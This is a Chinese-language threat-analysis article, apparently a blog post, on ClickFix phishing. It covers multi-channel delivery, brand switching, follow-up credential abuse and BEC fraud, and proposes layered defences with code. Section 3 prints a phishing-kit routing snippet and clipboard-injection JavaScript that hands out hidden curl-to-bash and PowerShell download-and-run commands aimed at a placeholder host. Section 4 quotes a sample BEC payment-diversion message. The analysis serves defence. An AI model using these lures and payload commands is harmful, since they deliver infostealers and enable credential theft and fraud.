ClickFix攻击的多载体演化与凭证窃取闭环机制研究

摘要

近年来,ClickFix类钓鱼攻击因其高度拟真性和社会工程诱导能力,成为针对企业云办公环境的主要威胁之一。本文基于2025年最新观测数据,系统分析了ClickFix攻击在投递载体、品牌伪装、平台适配及后续横向利用等方面的演进特征。研究表明,攻击者已构建覆盖邮件、即时通讯、日历邀请乃至物理媒介(如二维码)的多通道投递体系,并通过自动化套件实现按目标邮箱域动态切换品牌界面、依据设备类型注入对应恶意载荷。在成功窃取Microsoft 365或Google Workspace凭证后,攻击者迅速部署转发规则、注册高权限OAuth应用,并在活跃会话中植入商业电子邮件欺诈(BEC)指令,形成从初始访问到资金转移的完整攻击闭环。本文进一步提出多层次防御策略,包括OAuth应用审批控制、含链接附件沙箱化检测、移动端URL预览增强及硬件密钥强制认证等技术措施,并通过代码示例验证其可行性。本研究为理解现代凭证钓鱼攻击的自动化与闭环化趋势提供实证依据,亦为企业安全架构优化提供可落地的技术参考。

关键词:ClickFix;凭证钓鱼;多载体投递;OAuth滥用;条件访问;BEC攻击

1 引言

随着企业全面迁移到云端协作平台,如Microsoft 365与Google Workspace,攻击者对身份凭证的争夺已从传统密码爆破转向更隐蔽、高效的社会工程手段。其中,“ClickFix”类钓鱼攻击因其模仿合法浏览器验证页面(如Cloudflare的“IUAM”挑战)而具有极强的欺骗性。用户被诱导点击看似无害的CAPTCHA复选框后,恶意JavaScript自动将执行命令写入剪贴板,并提示用户“手动粘贴运行以完成验证”。这一设计巧妙规避了终端防病毒软件对直接下载或执行行为的监控,将用户转化为攻击链中的主动参与者。

早期ClickFix活动主要依赖单一邮件渠道,使用静态HTML页面进行投递。然而,2025年以来的情报显示,此类攻击正经历显著演化:投递载体多元化、品牌伪装动态化、载荷分发平台自适应化,且后续利用阶段高度自动化。尤其值得注意的是,攻击者在获取有效会话令牌后,不再仅限于数据窃取,而是立即实施账户持久化与资金欺诈操作,形成“窃取—控制—变现”的闭环流程。

本文旨在系统剖析ClickFix攻击当前的战术、技术和程序(TTPs),重点聚焦其多载体投递机制、动态品牌切换逻辑、跨平台载荷生成策略,以及凭证窃取后的自动化横向利用链条。在此基础上,提出针对性防御方案,并通过可复现的代码示例验证关键技术点的有效性。全文结构如下:第二部分详述攻击载体的扩展与绕过技术;第三部分解析前端伪装与后端载荷的动态生成机制;第四部分揭示凭证窃取后的攻击闭环;第五部分提出分层防御体系并给出实现示例;第六部分总结全文。

2 多载体投递机制与绕过策略

传统钓鱼邮件依赖HTML附件或嵌入式链接,易被邮件网关的URL信誉库或沙箱检测拦截。为突破此限制,ClickFix攻击者已构建覆盖多种通信协议与终端场景的投递网络。

2.1 邮件附件载体扩展

除常规HTML文件外,攻击者广泛使用PDF文档作为初始载体。此类PDF并非携带恶意脚本(因现代阅读器已禁用JS执行),而是内嵌超链接指向ClickFix页面。由于PDF内容可高度定制(如仿冒IT部门通知、发票或会议纪要),用户点击意愿显著提升。更重要的是,多数邮件安全网关对PDF内链接的深度解析能力有限,难以关联其指向的恶意域名。

另一新兴载体为.iCalendar(.ics)日历邀请文件。攻击者伪造来自“IT Support”或“Security Team”的会议邀请,内容包含“需点击链接完成安全验证”的说明及ClickFix URL。由于日历邀请通常被视为低风险通信,且部分邮件客户端默认自动加载外部内容,此类投递成功率较高。

2.2 即时通讯与协作平台渗透

随着Teams、Slack等企业IM工具普及,攻击者开始通过私信发送ClickFix链接。此类消息常伪装成“共享文档”、“安全警报”或“会议加入指引”,利用用户对内部沟通渠道的信任降低警惕性。由于IM流量通常不经过传统邮件网关,且URL预览功能若未启用,用户极易在无预警情况下访问恶意页面。

2.3 物理与混合载体:二维码海报

在部分针对性攻击中,攻击者甚至制作含ClickFix URL的二维码海报,张贴于目标公司附近公共区域或通过社交媒体传播。移动端用户扫描后直接跳转至钓鱼页面,完全绕过企业邮件与网络边界防护。此类手法虽非大规模使用,但对高价值目标极具威胁。

上述多载体策略的核心在于分散检测焦点,利用不同通道的安全盲区。攻击者通过A/B测试选择转化率最高的载体组合,实现攻击效率最大化。

3 动态品牌伪装与跨平台载荷生成

ClickFix攻击的成功高度依赖页面的真实性。为此,攻击者开发了高度模块化的钓鱼套件(如“IUAM ClickFix Generator”),支持按目标属性动态生成前端界面与后端载荷。

3.1 基于邮箱域的品牌切换

套件后端接收受害者访问请求时,可解析URL参数或Referer头中的邮箱域名(如user@company.com)。据此,前端自动加载对应品牌的UI资源:

若域名为*.microsoft.com、*.office365.com,则渲染Microsoft 365风格的验证页;

若为*.google.com、*.gmail.com,则切换为Google Workspace样式;

对于金融、制造等行业客户,甚至预置了特定企业的LOGO与配色方案。

此过程通常通过模板引擎实现。例如,使用Express.js的路由逻辑:

// server.js (简化示例)

app.get('/verify', (req, res) => {

const emailDomain = req.query.domain || 'default';

let brand = 'generic';

if (emailDomain.includes('microsoft') || emailDomain.includes('office365')) {

brand = 'microsoft';

} else if (emailDomain.includes('google') || emailDomain.includes('gmail')) {

brand = 'google';

}

// 渲染对应模板

res.render(`templates/${brand}.ejs`, {

title: config[brand].title,

message: config[brand].message,

command: generateCommand(brand, req.headers['user-agent'])

});

});

3.2 设备与操作系统自适应载荷

页面加载时,JavaScript通过navigator.userAgent检测用户设备类型,并生成相应命令:

// client-side script (obfuscated in real attacks)

function getPayload() {

const ua = navigator.userAgent;

if (ua.includes('Mac')) {

return 'curl -s hxxp://mal.example/odyssey.sh | bash';

} else if (ua.includes('Windows')) {

return 'powershell -NoProfile -WindowStyle Hidden -Command "IWR hxxp://mal.example/cv.bat -OutFile $env:TEMP\\cv.bat; Start-Process $env:TEMP\\cv.bat"';

} else {

// decoy for Linux or mobile

return 'echo "Verification complete. No action needed."';

}

}

document.getElementById('captcha').addEventListener('click', () => {

navigator.clipboard.writeText(getPayload()).then(() => {

alert('Copy the command below and run it in your terminal to complete verification.');

});

});

该机制确保Windows用户收到PowerShell命令,macOS用户获得Bash脚本,而非目标平台则返回无害提示,避免引起怀疑。载荷本身通常为二级下载器,用于获取DeerStealer、Odyssey等信息窃取木马。

4 凭证窃取后的攻击闭环

成功诱导用户提交凭证后,攻击者立即进入自动化利用阶段,目标是在账户被锁定前最大化收益。

4.1 会话劫持与持久化

攻击者利用窃取的用户名/密码或会话Cookie,通过自动化脚本登录目标邮箱。随后执行以下操作:

创建邮件转发规则:将所有收件自动转发至攻击者控制的邮箱,实现长期情报收集;

注册恶意OAuth应用:通过Microsoft Entra ID或Google Cloud Console注册高权限应用(如Mail.ReadWrite, User.Read.All),获取持久化访问令牌,即使密码更改仍可维持访问;

禁用多因素认证(MFA):若账户权限允许,删除受信任设备或备用验证方法。

4.2 BEC指令注入与资金欺诈

在维持会话的同时,攻击者监控收件箱中的财务相关邮件(如发票、付款请求)。一旦发现机会,即以合法用户身份回复,插入修改收款账户的指令。例如:

“Due to a bank update, please remit payment to the following account:

Account Name: Secure Payments Ltd

IBAN: DE89 3704 0044 0532 0130 00”

此类BEC攻击因源自真实账户且上下文连贯,极难被财务人员识别。资金一旦转出,攻击者通过加密货币混币器快速洗钱,完成闭环。

5 分层防御体系与技术实现

针对ClickFix攻击的多阶段特性,需构建覆盖投递、访问、认证、会话四层的纵深防御体系。

5.1 投递层:增强附件与邀请检测

PDF/ICS沙箱化:部署支持深度链接解析的邮件网关,对附件内URL进行动态信誉查询与页面快照分析。

IM内容审查:在Teams/Slack等平台启用DLP策略,对含外部链接的私信进行告警或阻断。

5.2 访问层:移动端安全增强

强制URL预览:配置移动设备管理(MDM)策略,确保邮件/IM客户端在点击链接前显示目标域名预览。

域名高亮:通过客户端插件对非企业域名(如.us.com, .last-desk.org)进行视觉警示。

5.3 认证层:硬件密钥与条件访问

推行FIDO2安全密钥作为主要认证方式,因其无法被钓鱼页面窃取。同时配置条件访问策略:

# Azure AD 示例:阻止高风险登录

New-AzureADMSConditionalAccessPolicy -DisplayName "Block High-Risk Sign-ins" `

-State Enabled `

-Conditions @{

SignInRiskLevels = @("High", "Medium")

ClientAppTypes = @("Browser", "MobileAppsAndDesktopClients")

} `

-GrantControls @{

Block = $true

}

5.4 会话层:OAuth应用治理

第三方应用审批:在Entra ID中启用“管理员审批”模式,禁止用户自行授权新应用。

权限最小化:定期审计已授权应用,撤销非必要权限(如Calendars.ReadWrite对普通员工无意义)。

# Google Workspace API 示例:列出高风险OAuth客户端

from googleapiclient.discovery import build

def audit_oauth_clients(creds):

service = build('admin', 'directory_v1', credentials=creds)

tokens = service.tokens().list(userKey='all').execute()

for token in tokens.get('items', []):

if 'mail' in token.get('scopes', []) and token['clientId'] not in APPROVED_CLIENTS:

print(f"Suspicious client: {token['clientId']} for user {token['userKey']}")

# 可集成自动撤销逻辑

6 结语

ClickFix攻击已从单一钓鱼页面演变为融合多载体投递、动态伪装、跨平台载荷与自动化凭证利用的复合型威胁。其核心优势在于将社会工程与技术自动化深度结合,既利用人类心理弱点,又通过代码实现规模化与精准化。本文所揭示的攻击闭环表明,仅依赖传统边界防护已无法应对。企业必须转向以身份为中心的安全模型,通过硬件密钥、条件访问、OAuth治理等技术手段,压缩攻击者的操作窗口。未来研究可进一步探索基于行为分析的ClickFix页面识别模型,以及跨平台会话异常检测机制,以应对持续演化的威胁格局。

编辑:芦笛(公共互联网反网络钓鱼工作组) 

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芦熙霖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值